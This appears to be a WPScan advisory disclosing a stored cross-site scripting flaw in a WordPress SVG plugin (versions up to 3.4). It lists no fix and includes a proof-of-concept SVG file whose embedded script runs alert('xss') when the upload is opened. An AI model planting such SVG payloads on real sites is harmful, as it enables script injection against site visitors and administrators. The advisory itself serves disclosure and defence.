WordPress Plugin Vulnerabilities
Scalable Vector Graphics (SVG) <= 3.4 - Author+ Stored XSS via SVG
Description
The plugin does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.
Proof of Concept
Upload an SVG with the following code:
<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>
Access the uploaded file directly to see the XSS.
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-02-20 (about 2 months ago)
Added
2024-02-20 (about 2 months ago)
Last Updated
2024-02-20 (about 2 months ago)
WPScan 